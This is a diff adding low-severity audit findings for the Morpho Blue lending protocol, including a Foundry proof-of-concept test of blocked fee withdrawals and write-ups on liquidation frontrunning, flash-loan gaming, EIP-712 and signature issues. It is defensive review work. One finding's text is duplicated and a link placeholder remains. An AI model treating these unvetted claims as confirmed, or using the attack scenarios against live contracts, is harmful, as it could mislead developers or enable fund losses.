+function test_FeeRecipientCannotWithdrawFees() external {
+ vm.startPrank(OWNER);
+ morpho.setFee(marketParams, MAX_FEE);
+ vm.stopPrank();
+
+ // Add balance for the participants of the attack
+ // Will demonstrate with only 2 borrowers, but in reality, there could be many
+ loanToken.setBalance(SUPPLIER, 100e18);
+ collateralToken.setBalance(BORROWER, 100e18);
+ collateralToken.setBalance(BORROWER2, 100e18);
+
+ vm.startPrank(SUPPLIER);
+ morpho.supply(marketParams, 32e18, 0, SUPPLIER, '');
+ vm.stopPrank();
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, 21e18, BORROWER, '');
+ morpho.borrow(marketParams, 16e18, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ vm.startPrank(BORROWER2);
+ morpho.supplyCollateral(marketParams, 21e18, BORROWER2, '');
+ morpho.borrow(marketParams, 16e18, 0, BORROWER2, BORROWER2);
+ vm.stopPrank();
+
+ skip(60);
+ morpho.accrueInterest(marketParams);
+
+ console.log("Is healthy BORROWER: ", _isHealthy(marketParams, BORROWER));
+ console.log("Is healthy BORROWER2: ", _isHealthy(marketParams, BORROWER2));
+
+ uint256 feeRecipientShares = morpho.position(id, address(FEE_RECIPIENT)).supplyShares;
+ console.log("FeeRecipient shares: ", feeRecipientShares);
+ console.log("LoanToken inside Morpho: ", loanToken.balanceOf(address(morpho)));
+
+ vm.startPrank(FEE_RECIPIENT);
+ uint256 assets = feeRecipientShares.toAssetsDown(morpho.market(id).totalSupplyAssets, morpho.market(id).totalSupplyShares);
+ console.log("FeeRecipient assets: ", assets);
+ vm.expectRevert();
+ morpho.withdraw(marketParams, 0, feeRecipientShares, FEE_RECIPIENT, FEE_RECIPIENT);
+ vm.stopPrank();
+}
+```
+
+```solidity
+Logs:
+ Is healthy BORROWER: true
+ Is healthy BORROWER2: true
+ FeeRecipient shares: 15220692912154065153
+ LoanToken inside Morpho: 0
+ FeeRecipient assets: 15220714631199
+```
+
+- Recommendation
+
+One solution to address the issue involves adding a borrow limit tied to the market supply, such as half a token or a lower percentage like 0.5-1%. Due to the small size of the fees, implementing this percentage-based borrow limit should be sufficient until someone repays or becomes liquidable.
+
+
+
+### Incomplete implementation of recovery function in ERC20PermissionedBase contract
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The `ERC20PermissionedBase` contract is designed to allow users to deposit "underlying tokens" and, in return, receive an equivalent amount of "wrapped tokens". This contract extends the `ERC20Wrapper` contract from OpenZeppelin.
+
+The issue arises if users inadvertently send underlying tokens directly to the `ERC20PermissionedBase` contract, these tokens become irretrievable. This is because, although the `ERC20Wrapper` contract from OpenZeppelin contains an internal function `_recover` to mint wrapped tokens corresponding to any accidentally transferred underlying tokens, this function is not utilized in the `ERC20PermissionedBase` contract.
+
+The relevant code in the `ERC20Wrapper` contract is as follows:
+
+```javascript
+File: erc20-permissioned/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Wrapper.sol
+81: function _recover(address account) internal virtual returns (uint256) {
+82: uint256 value = _underlying.balanceOf(address(this)) - totalSupply();
+83: _mint(account, value);
+84: return value;
+85: }
+```
+
+**Recommendation**:
+
+To address this issue, we recommend implementing a `recover` function in the `ERC20PermissionedBase` contract.
+
+ function recover(address receiver) public onlyOwner {
+ _recover(receiver);
+ }
+
+
+
+
+### Protocol should protect against honest users being front ran from liquidating unheallthy accounts
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+```solidity
+ function liquidate( MarketParams memory marketParams, address borrower, uint256 seizedAssets, uint256 repaidShares, bytes calldata data ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+ //@audit
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ //@audit
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+
+
+ function accrueInterest(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ //@audit
+ _accrueInterest(marketParams, id);
+ }
+
+ /// @dev Accrues interest for the given market `marketParams`.
+ /// @dev Assumes that the inputs `marketParams` and `id` match.
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+
+```
+
+When a position is no longer sufficiently collateralized, the ` liquidate()` function can be called to liquidate the position and earn a bonus. However, when someone finds a liquidation opportunity and calls this function, anyone can frontrun it and execute the liquidation first to get the bonus reward.
+
+- Impact
+
+On the long run, there might no longer be an incentive to liquidate bad positions because the liquidation rewards can be stolen by chronic frontrunning.
+
+- Recommendations
+
+Implement a Commit-Reveal mechanism or incentivize users to use Flashbots when calling the liquidate() function.
+
+
+
+
+### Enforce that the liquidator doesn't put protocol in bad state by making unfull liquidations due to the static incentive
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Since a static incentive has been attached to liquidations, there should be a check that a liquidator never liquidates an asset unfully and then leaves the difference to be less than this incentive
+
+- Proof of Concept
+
+Take a look at `liquidate()`:
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+
+```
+
+Would be key to note that from the docs, it's been stated that Morpho Blue favors lenders by having no close factor: when an account is liquidatable, its position can be fully repaid.
+
+Issue now is that, Morpho Blue doesn't take into account that when the account gets liquidatable, the liquidator could repay assets unfully, main thing is that this leads to a scenario where the remaining assets are no longer up to the incentive a liquidator would get paid for clearing the debt, which essentially means that no liquidator would see any incentive in repaying the remaining assets, and cause protocol's bad debt to soar whenever this happens.
+
+- Impact
+
+Protocol's accumulation of bad debt, which would lead to protocol having undercollaterized loans and inability to provide funds for all users in the case of a bank run since not all the funds would be available.
+
+- Recommended Mitigation Steps
+
+Ensure that there is always an incentive for liquidators to liquidate bad positions, in this case try to sort out the border issue by checking that whenever a liquidator provides a specific amount of asset of bad debt to cover, a confirmation that the amount of assets that's not going to be accounted for in this instance of liquidation is large enough to incentivise other liquidators to cover the remaining debt
+
+- Proof of Concept
+
+Take a look at `liquidate()`:
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+
+```
+
+Would be key to note that from the docs, it's been stated that Morpho Blue favors lenders by having no close factor: when an account is liquidatable, its position can be fully repaid.
+
+Issue now is that, Morpho Blue doesn't take into account that when the account gets liquidatable, the liquidator could repay assets unfully, main thing is that this leads to a scenario where the remaining assets are no longer up to the incentive a liquidator would get paid for clearing the debt, which essentially means that no liquidator would see any incentive in repaying the remaining assets, and cause protocol's bad debt to soar whenever this happens.
+
+- Impact
+
+Protocol's accumulation of bad debt, which would lead to protocol having undercollaterized loans and inability to provide funds for all users in the case of a bank run since not all the funds would be available.
+
+- Recommended Mitigation Steps
+
+Ensure that there is always an incentive for liquidators to liquidate bad positions, in this case try to sort out the border issue by checking that whenever a liquidator provides a specific amount of asset of bad debt to cover, a confirmation that the amount of assets that's not going to be accounted for in this instance of liquidation is large enough to incentivise other liquidators to cover the remaining debt
+
+
+
+
+### The `flashLoan()` should have a fee attached to atleast limit the amount of gaming that users could do the protocol
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+Take a look at [flashLoan()](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L414-L423)
+
+```solidity
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+
+As seen this function is a simple flash lending implementation, case with this is that unlike popular implementations of this within the web3 space, this does not attach a fee, this easily causes users to try gaming the system, for example a user can **always** frontrun a call to liquidate another user by just calling this, where as this is not necessarily attached to the fact that the fee is not present with this function, it seems like a loss of yield avenue for the protocol, cause someone can just always watch the mempool and make the most out of frontrunning other honest users call to liquidate by providing the assets for these liquidations, after borrowing them from the protocol.
+
+A user could also use this to liquidate themselves, which is wrong in a liquidation logic, as liquidator should not be equal liquidatee
+
+- Impact
+
+This seems to be a borderline low issue, as I can't find a legit way where this causes issues, but this easily allows more tech savyy users to have an advantage over the others, as they could aswell just use this avenue to make all the liquidations, earning all the perks not leaving nothing for the other users or protocol, i.e this could be named a loss of yield for Morpho in a sense.
+
+Also any little price mis-match would make an attakcer incentivised to use this to seize a specific amount of assets of another user since they are not the one producing the funds and no fee is attached to the flashloan so there is always a gain, which could be problematic, being that there is no buffer currently attached to liquidations for users.
+
+- Recommended Mitigation Steps
+
+An easy recommendation would be to attach a fee, as little as possible this ensures that the protocol is always included in these calculations and gain from flashloans as most web3 lending platforms out there, additionally this provides the little buffer for users to be able to bring back their accounts to an healthy state.
+
+
+
+
+### Issues with `setAuthorizationWithSig()` and pure EIP 712 compliance
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+Take a look at [ConstantsLib.sol#L16-L19](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L16-L19)
+
+```solidity
+/// @dev The EIP-712 typeHash for EIP712Domain.
+bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
+
+
+```
+
+As seen, in the build of the `DOMAIN TYPEHASH` the `string version` & `string name` are forgotten, which breaks the EIP and also leads to issues with `setAuthorizationWithSig()`. as any signature for a different app could be valid in this instance, i.e leading to a potential revert when the original signature's user is supposed to acess this
+
+Acording the [EIP 712](https://eips.ethereum.org/EIPS/eip-712), in the [Definition of domainSeparator](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md#definition-of-domainseparator):
+string name
+
+- _"`string name` the user readable name of signing domain, i.e. the name of the DApp or the protocol."_
+- _"`string version` the current major version of the signing domain. Signatures from different versions are not compatible"_
+
+Note that, where as in recent times it's common practise for some protocol to omit the `string version` from the typehash, this is not the case for the `sring name`, cause for the former this is just in regards of the major version for the signing domain which is not a basic primary information of the signing domain as the `name of the DApp or the protocol` which should always be included.
+
+Do note that the EIP does not have a **MUST** have in place for all the fields in the fields in the struct, however, the claim has been made in the EIP, i.e the claim of including every section that could be important to the app, which hints that the name should be included since an app should have a name as one of it's primary features, if not the most primary.
+
+- Impact
+
+Breaks the logic of [EIP 712](https://eips.ethereum.org/EIPS/eip-712) cause the `string name` can be said to be the primary field of the `DOMAIN_TYPEHASH` struct and the EIP requires protocol to include what's primary to their signing domains.
+
+- Recommended Mitigation Steps
+
+At least add the `string name` to the `DOMAIN_TYPEHASH`, would be best to also include the `string version` too, i.e [ConstantsLib.sol#L16-L19](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L16-L19) should be:
+
+```solidity
+bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
+```
+
+> NB: Cantina's severity categorization has still not been informed to reasearchers, I assume this could be a borderline medium/low issue, but submitting as medium cause [it was relayed on discord that Cantina for now would judge issues similar to other contest/bug bounty platforms](https://discord.com/channels/1164178130425098290/1164209455437709332/1176093277599060089), and multiple platforms have judged just missing the `string version` as a medium issue in the past.
+
+Currently Implementation is of a somewhat flawed `DOMAIN_TYPEHASH` definition -> an avenue for multiple issues.
+
+
+
+### Compatibility with `ERC-3156` **can never be reached**
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+Take a look at Protocol's [claim for easily reaching complaince with ERC-3156](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/interfaces/IMorpho.sol#L263-L270)
+
+```solidity
+Warning: Not ERC-3156 compliant but compatibility is easily reached:
+ /// - `flashFee` is zero.
+ /// - `maxFlashLoan` is the token's balance of this contract.
+```
+
+Now navigating to [Eip-3156](https://eips.ethereum.org/EIPS/eip-3156), we can see that the first sentence under the _Lender Specification_ is that
+
+> A lender MUST implement the IERC3156FlashLender interface.
+
+Using this search command: `https://github.com/search?q=repo%3Amorpho-org%2Fmorpho-blue%20IERC3156FlashLender&type=code`, we can see that there is no instance where this protocol implements this interface or requires flash-borrowers to implement this, also according to the EIP
+
+> The flashLoan function **MUST** include a callback to the onFlashLoan function in a IERC3156FlashBorrower contract.
+
+Now protocol has implemented a hardcoded `flashFee` of 0, which also goes a bit off line with the referenced EIP, to explain this, the below has also been referenced in the EIP
+
+> The `flashFee` function **MUST** return the fee charged for a loan of amount token. **If the token is not supported flashFee MUST revert.**
+
+As seen, in regards to the flash fee, based on current implementation of `Morpho#flashLoan()` a user or an integrator would asssume _an asset that's however not supported_ has a fee of `0` which would be wrong.
+
+This has also been stated in the EIP, regarding verifying the return data by the lender
+
+> The lender **MUST** verify that the onFlashLoan callback returns the keccak256 hash of “ERC3156FlashBorrower.onFlashLoan”.
+
+This is also however not been checked.
+
+Also the `flashLoan()` according to the EIP should return a bool, as this is important for external integrations and a few verifications, quoting
+
+> If successful, `flashLoan` **MUST** return `true`.
+
+This is also however not been followed
+
+- Impact
+
+The protocol's claim that compatibility of the implemented flash lending **is easily reached to be in-compliance with ERC-3156** is actually non-factual.
+
+> NB: Submitting this as a low since protocol has stated and is aware that this is not in-compliance with `ERC-3156`, however the claim that compatibility is easily reached should be scrapped.
+
+- Tool used
+
+Manual Review
+
+- Recommended Mitigation Steps
+
+It should clearly be documented that this execution is not that similar to the `ERC-3156` and [this statementADDDSOURCE]() should be somewhat modified.
+
+
+
+
+### `Morpho.sol` Tokens like UNI can revert on large amount transfers/approvals
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+Approvals with an amount equal to or more than 2^96 UNI tokens will always revert.
+
+- Vulnerability Details
+Flashloans that requirethe approval for the max amounts will revert as the UNI token contract implements a transfter limit restricting the maximum amount that can be transferred in a single transaction to 2^96 UNI tokens. Any transfer exceeding this threshold will trigger a transaction revert. Other functionalities that require the approval of huge amounts `type(uint256).max` of UNI will also revert.
+
+- Impact
+```javascript
+function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ @> IERC20(token).safeTransfer(msg.sender, assets); // could revert [UNI token max transfer/approval limit]
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+}
+```
+Such a transfer will always revert for balances above 2^96 UNI tokens.
+
+- Recommendations
+- Communicate to users that only the approval of the amounts used by the function parameter is required.
+
+
+
+
+### Using `ecrecover`function to recover signature is susceptible to signature malleability
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Links** https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L441
+
+**Description**
+The function `Morpho::setAuthorizationWithSig` uses `ecrecover` to get address of signatory.
+
+```js
+address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+```
+
+By flipping s and v it is possible to create a different signature that will amount to the same hash & signer.
+
+**Recommendation**
+Use Openzeppelin's [ECDSA Library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/dfef6a68ee18dbd2e1f5a099061a3b8a0e404485/contracts/utils/cryptography/ECDSA.sol#L125-L136)
+
+
+
+### Borrower Might Be Subject To Instant Liquidations
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The Morpho in simple terms is a borrow/lending system where unhealthy positions need to be liquidated
+to keep the protocol solvent. A unhealthy position can be liquidated via the `liquidate` function which only permits liquidation of a borrow position if the position is unhealthy i.e. https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L359
+
+
+If a position is healthy or not depends on the price of the asset , meaning a position might be subject to
+liquidation if the price of the collateral goes down ( see the calculation here https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L521)
+
+Therefore it's possible that a user opens a borrow position and the price of the collateral goes down and instantly the position is subject to liquidation.
+
+Recommendation:
+Have a safety buffer for the deposit of collateral , for example a 120% collateral ratio which would ensure the user has enough time to close the position or deposit more collateral to keep the position healthy.
+
+
+
+### Blacklisted lender and or collateral depositor can lead to stuck funds
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+
+Tokens like USDC have blacklisting functionality. Funds may become stuck in the contract if a lender or collateral depositor is blacklisted after depositing their assets.
+
+- Issue Details
+
+The contract currently does not account for the possibility that a user (either a lender or a collateral depositor) might be blacklisted after they have deposited their assets. If such a blacklisting occurs, the user's assets remain in the contract, but the user is unable to execute any further transactions to withdraw or manage these assets. This results in the assets being locked within the contract indefinitely.
+
+- Scenario
+1. A user deposits assets into the contract, either as a lender or by providing collateral.
+2. Subsequently, the user is blacklisted due to external factors or internal protocol decisions.
+3. Once blacklisted, the user is unable to interact with the contract. As a result, their deposited assets cannot be withdrawn or managed, effectively locking these funds in the contract.
+
+- Impact
+
+The primary impact of this issue is the potential loss of funds.
+
+- Recommendations
+
+- Allow the owner to retrieve the funds.
+- Create a curated list of whitelisted tokens or disallow blocklist tokens.
+
+
+
+
+
+### in `accrueInterest()` rounding error will cause the real interest rate to be different than promised one.
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L477-L477](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L477-L477)
+
+Here the calculated interest can be zero because of rounding error. according to my calculations it will be 0 when balance is less than: (`r` is APY and `s` is seconds)
+`B0 = 1 / (s * ((1+r) ^ (1 / (365 * 24 * 60 * 60)) - 1))`
+for example if the APY was 1% per year and we assume 10 seconds has been passed from past update then:
+`1 / (s * ((1+r) ^ (1 / (365 * 24 * 60 * 60)) - 1)) = 1 / (10 * ((1+0.01) ^ (1 / (365 * 24 * 60 * 60)) - 1)) = 3169341653 = 3 * 10^8`.
+This mean if balance was less than `3*10^6` and APY was 1% then calling `accrueInterest()` each 10 seconds will result in 0 interest for that 10 seconds. as current function is going to be get called in most of the interactions so for most blocks the interest will be 0 and in the end the real APY will be 0%.
+
+based on the borrow token precision and the blockchain block's duration the impact can be different.
+
+the above sample is a extreme case and the impact of the bug can be calculating APY wrong by some percentage. for example in the above sample if balance was 3*10^9 then and APY was 1% then calling `accrueInterest()` each 10 seconds will result in APY that is 10% is lower than promised amount. (in each calculation 10% error happens because of rounding error) to find the rounding error we need to divide the `B0`. for example if balance was `100*B0` then the real calculated APY will be 1% less than what has been promised.
+
+This means that the impact is not just for tokens with very low precision. for example for USDC with 6 precision and balance under 30K and 1% APY and 10 second update we will have 1% error. of course this doesn't impact tokens with 18 precision.
+
+
+
+### Missing checks for `address(0)` in function when assigning values to address state variables
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (2)*:
+
+```solidity
+File: src/Morpho.sol
+
+98: owner = newOwner;
+
+142: feeRecipient = newFeeRecipient;
+
+```
+
+[98](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L98), [142](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L142)
+
+
+
+### Array indicies should be referenced via enums rather than via numeric literals
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Create a commented enum value to use instead of constant array indexes, this makes the code far easier to understand
+
+*Instances (10)*:
+
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+15: return uint256(morpho.extSloads(slot)[0]);
+
+20: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+25: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+30: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+35: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+40: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+45: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+50: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+55: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+60: res[0] = x;
+
+```
+
